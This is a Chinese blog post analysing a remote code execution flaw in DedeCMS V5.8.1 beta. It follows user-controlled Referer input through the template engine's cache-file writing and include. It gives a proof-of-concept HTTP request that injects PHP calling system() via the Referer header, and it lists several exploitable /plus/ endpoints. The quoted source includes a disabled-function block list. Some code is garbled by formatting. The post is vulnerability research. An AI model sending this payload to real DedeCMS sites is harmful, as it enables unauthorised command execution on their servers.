Dedecms 前端RCE分析

本文详细分析了Dedecms V5.8.1 bate版本存在的前端远程代码执行(RCE)漏洞,通过源码追踪,揭示了从ShowMsg方法到Display方法的漏洞利用链,指出在特定条件下可以绕过过滤执行命令。POC展示了可利用路径,总结了挖掘此类RCE的新思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 背景

Dedecms V5.8.1 bate存在前端RCE,并且利用简单,对于这种有趣的,高质量的RCE很感兴趣于是进行复现分析后有了这篇文章。

注:Dedecms源码已经开发,并且本次分析均在本地环境测试,文章仅记录分享,不得用于任何非法活动。

0x02 环境搭建

下载Dedecms:

https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1

0x03 源码分析

漏洞利用链整体分析:

图片

1、定位include/common.func.php中的ShowMsg()方法:

function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
            }
            if ($gourl == -1) {
                    $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
                            if ($gourl == "") {
                                        $gourl = -1;
                                               }
                                                   }
  $htmlhead = "html内容" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "html内容";
  $htmlfoot = "html内容";
  $litime = ($limittime == 0 ? 1000 : $limittime);
  $func = '';
  if ($gourl == '-1') {
       if ($limittime == 0) {
            $litime = 3000;
                               }
              $gourl = "javascript:history.go(-1);";
                                 }
           if ($gourl == '' || $onlymsg == 1) {
            $msg = "";        
            } else {
             //当网址为:close::objname 时, 关闭父框架的id=objname元素
                if (preg_match('/close::/', $gourl)) {
                    $tgobj = trim(preg_replace('/close::/', '', $gourl));
                     $gourl = 'javascript:;';            
                     $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";        }        $func .= "var pgo=0;      function JumpUrl(){        if(pgo==0){ location='$gourl'; pgo=1; }      }\r\n";        $rmsg = $func;        $rmsg .= "document.write(\"
                                                                                          
\");\r\n";
        $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";        
        $rmsg .= "document.write(\"";        
        if ($onlymsg == 0) {            
        if ($gourl != 'javascript:;' && $gourl != '') {                
        $rmsg .= "如果你的浏览器没反应,请点击这里..." \");\r\n";                
        $rmsg .= "setTimeout('JumpUrl()',$litime);";            
        } else {                
        $rmsg .= "\");\r\n";            
        } 
               } else {            
               $rmsg .= "\");\r\n";        
               }       
                $msg = $htmlhead . $rmsg . $htmlfoot;    }        
                $tpl = new DedeTemplate();    
                $tpl->LoadString($msg);    
                $tpl->Display();
                }

此方法在gourl=-1时referer中的内容会被赋值给gourl

最后通过DedeTemplate类生产对象$tpl并且将referer输入到LoadString()方法

并且用Display()方法生产模板,因此referer是可控注入点

2、查看LoadString()方法:

public function LoadString($str = '')
{        
    $this->sourceString = $str;        
    $hashcode = md5($this->sourceString);        
    $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";        
    $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";        
    $this->ParseTemplate();
    }

Referer的内容在LoadString()方法中被赋给了$this->sourceString中,并将referer内容MD5;

加密后设置为模板文件:md5($this->sourceString).inc,并且定义路径

$this->configFile= $this->cacheDir . "/string_" . md5($this->sourceString).inc

因此在loadingString方法中,通过MD5加密referer内容定位模板文件名。

3、定位$tpl对象调用的Display()方法

public function Display()    
{
        global $gtmpfile;        
        extract($GLOBALS, EXTR_SKIP);        
        $this->WriteCache();        
        echo $this->cacheFile;  /**这里的echo是我本人添加的,在触发漏洞后echo出模板路径*/        
        include $this->cacheFile;
 }

Display方法首先调用了WriteCache()方法,对LoadingString()方法中定义的$this->cacheFile文件进行编辑,并且在最后include出来。

4、查看WriteCache()方法:

public function WriteCache($ctype = 'all')
    {
            if (!file_exists($this->cacheFile) || $this->isCache == false            || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))        ) {            
            if (!$this->isParse) {             
               $this->ParseTemplate(); 
                                 }            
                $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");           
                flock($fp, 3);            
                $result = trim($this->GetResult());            
                $errmsg = '';            
                //var_dump($result);exit();            
            if (!$this->CheckDisabledFunctions($result, $errmsg)) {               
             fclose($fp);                
             @unlink($this->cacheFile);                
             die($errmsg);            
             }            
             fwrite($fp, $result);            
             fclose($fp);            
             if (count($this->tpCfgs) > 0) {                
             $fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");                
             flock($fp, 3);                
             fwrite($fp, 'tpCfgs as $k => $v) {                    
             $v = str_replace("\"", "\\\"", $v);                    
             $v = str_replace("\$", "\\\$", $v);                    
             fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n"); 
                                              }                
             fwrite($fp, '?' . '>');                
             fclose($fp);            
             }        
     }

通过GetResult()方法获取referer内容赋值给$result :

public function GetResult()    
{  
      if (!$this->isParse) {         
          $this->ParseTemplate();
          }        
      $addset = '';        
      $addset .= '';        
      return preg_replace("/\?" . ">[ \r\n\t]{0,}sourceString);    }

调用 CheckDisableFunctions 方法将$result传入方法进行判断。

5、查看CheckDisabledFunctions()方法

public function CheckDisabledFunctions($str, &$errmsg = '')    
{        
global $cfg_disable_funs;        
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs :  'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,    curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';        // 模板引擎增加disable_functions        
if (!defined('DEDEDISFUN')) {         
   echo "aaaaaaaaaaaaaa";/*本人自己添加,如果进入if就echo出aaaaaa**/            
   $tokens = token_get_all_nl($str);            
   $disabled_functions = explode(',', $cfg_disable_funs);            
   foreach ($tokens as $token) {                
   if (is_array($token)) {                    
   if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {                        
   $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" more...';                        
   return false;            
           }           
                }       
                     }   
                          }       
               return true;
    }

在这个checkdisablefunctions方法中,发现如果进入了if,那么就会对referer输出的内容进行判断。但是如果存在DEDEISFUN常量就可以跳出if,实验发现在未登录状态DEDEISFUN存在。

图片

看见在没有cookie的情况下,执行了ifconfig,但是没有出现aaaaaaaa字符,因此可以判断没有进入if,所有system没有被checkdisablesfunction过滤。

6、CheckDisabledFunction()方法判断

if (!$this->CheckDisabledFunctions($result, $errmsg)) { 
    fclose($fp);     
    @unlink($this->cacheFile);     
    die($errmsg); 
   }
    fwrite($fp, $result);
    fclose($fp);

在CheckDisabledFunction()方法判断,如果没有通过CheckDisables的检测会将$this->cacheFile文件删除。

如果通过了CheckDisablesFunction检测就会将result中的referer写入到result中的referer写入到resultrefererthis->cacheFile

7、代码分析

通过上述过程将恶意内容写入到$this->cacheFile中,并且通过Display()方法中include出来:

echo $this->cacheFile;  /**这里的echo是我本人添加的,在触发漏洞后echo出模板路径*/        
include $this->cacheFile;

图片

代码分析结束,由此可见,echo出的$this->cacheFile模板文件路径,并且执行了其中的ls命令。

0x04 POC

GET /plus/flink.php?dopost=save HTTP/1.1
Host: cc.dedecms.com:93
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Referer:<?php "system"(ls);?>

可利用路径(部分)

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php

0x05 总结

本次分析发现命令执行的方式并非简简单单的eval(),exec(),shell_exec()等函数的思路,类似这篇文章,很多CMS都会存在Cache缓存文件,或者通过TMP模板自动生产一个PHP等执行文件,那么如果在生成文件的过程,新文件中存在用户可控参数,在过滤不严的情况下就会造成命令执行:

1、存在写新可执行文件的方法

2、新文件其中有可控参数

3、新文件可访问,或者被include

满足以上三点可造成RCE,也算是挖掘RCE漏洞的一种新的思路。

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值